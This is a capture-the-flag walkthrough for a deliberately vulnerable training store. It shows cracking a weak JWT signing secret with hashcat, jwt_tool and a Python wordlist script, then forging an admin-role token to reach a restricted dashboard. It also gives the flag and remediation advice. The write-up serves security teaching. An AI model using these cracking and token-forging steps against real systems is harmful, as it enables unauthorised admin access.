Skip to content
OopsSec Store - Walkthroughs
Go back

JWT Weak Secret: Cracking the Key to Forge Admin Access in OopsSec Store

Edit page

The OopsSec Store signs its JWTs with a weak secret. We’ll crack it, forge an admin token, and walk right into the restricted dashboard.

Table of contents

Open Table of contents

Environment setup

Spin up the OopsSec Store in a new directory:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 3000:3000 leogra/oss-oopssec-store

Head to http://localhost:3000 and log in with the test credentials shown on the login page. Use Alice’s account — she’s a regular customer.

Reconnaissance

The app uses JWTs for session management. After login, the server drops a token in an HTTP-only cookie that tags along with every request.

There’s a link to /admin sitting right there in the footer. Click it as Alice and you get an access denied page.

Access Denied - /admin

Token extraction and analysis

Open DevTools, go to Application > Cookies. The token is in an HTTP-only cookie called authToken.

Paste it into jwt.io:

Header:

{
  "alg": "HS256",
  "typ": "JWT"
}

Payload:

{
  "id": "cmk7hzehr0001togvwvjt810d",
  "email": "alice@example.com",
  "role": "CUSTOMER",
  "hint": "The secret is not so secret",
  "exp": 1768763557
}

HS256 — HMAC-SHA256. You need the secret to forge a valid signature.

But then there’s the hint field: “The secret is not so secret”. Not subtle.

Identifying the vulnerability

A signature doesn’t make a token secure if the secret behind it is garbage. Short or common secrets fall to dictionary attacks in seconds. Think secret, password, jwt, key, or just the app name.

Cracking the JWT secret

Save the token to a file:

echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImNta3I4eW4zNDAwMDF0b3A2NjJ6OXkzb20iLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwicm9sZSI6IkNVU1RPTUVSIiwiaGludCI6IlRoZSBzZWNyZXQgaXMgbm90IHNvIHNlY3JldCIsImV4cCI6MTc2OTgwMDYzNH0.xYuUP20NgY6Pz9cktBEvS-_dczsDFKQQnhyHCvl7ckc" > jwt.txt

Crack it with hashcat:

hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

Hashcat

Or jwt_tool:

python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt

Or skip the big wordlist and just try the obvious ones:

import jwt
import sys

token = sys.argv[1]
wordlist = ["secret", "password", "jwt", "key", "oopssec", "admin", "test"]

for secret in wordlist:
    try:
        jwt.decode(token, secret, algorithms=["HS256"])
        print(f"[+] Secret found: {secret}")
        break
    except jwt.InvalidSignatureError:
        continue

The secret is secret. Yeah.

Exploitation

Forge a token with "role": "ADMIN":

import jwt

payload = {
    "id": "cmk7hzehr0001togvwvjt810d",
    "email": "alice@example.com",
    "role": "ADMIN",
    "hint": "The secret is not so secret",
    "exp": 1768763557
}

forged_token = jwt.encode(payload, "secret", algorithm="HS256")
print(forged_token)

Back in DevTools > Application > Cookies, replace the authToken value with your forged token and refresh. The cookie is httpOnly so JavaScript can’t touch it, but DevTools doesn’t care — you can edit it directly.

Hit /admin.

Admin page

Flag

OSS{w34k_jwt_s3cr3t_k3y}

Remediation

The fix starts with a real secret:

openssl rand -base64 32

Keep it in an environment variable, not in your code:

import jwt from "jsonwebtoken";

jwt.sign(payload, process.env.JWT_SECRET, {
  algorithm: "HS256",
  expiresIn: "7d",
});

Always verify signatures on incoming tokens:

jwt.verify(token, process.env.JWT_SECRET);

Don’t trust the role claim in the token either. Look it up from the database:

const user = await db.users.findById(decoded.id);

if (user.role !== "ADMIN") {
  return res.status(403).send("Forbidden");
}

If different services need to issue and verify tokens, asymmetric algorithms (RS256, ES256) make more sense — verifiers never see the private key.

The token tells you who someone is. What they’re allowed to do is a separate question, and the answer should come from your database, not from something the client handed you.


Edit page
Share this post on:

Previous Post
Stored XSS in Product Reviews
Next Post
Chaining SQL Injection and Weak MD5 Hashing to Compromise the Admin Account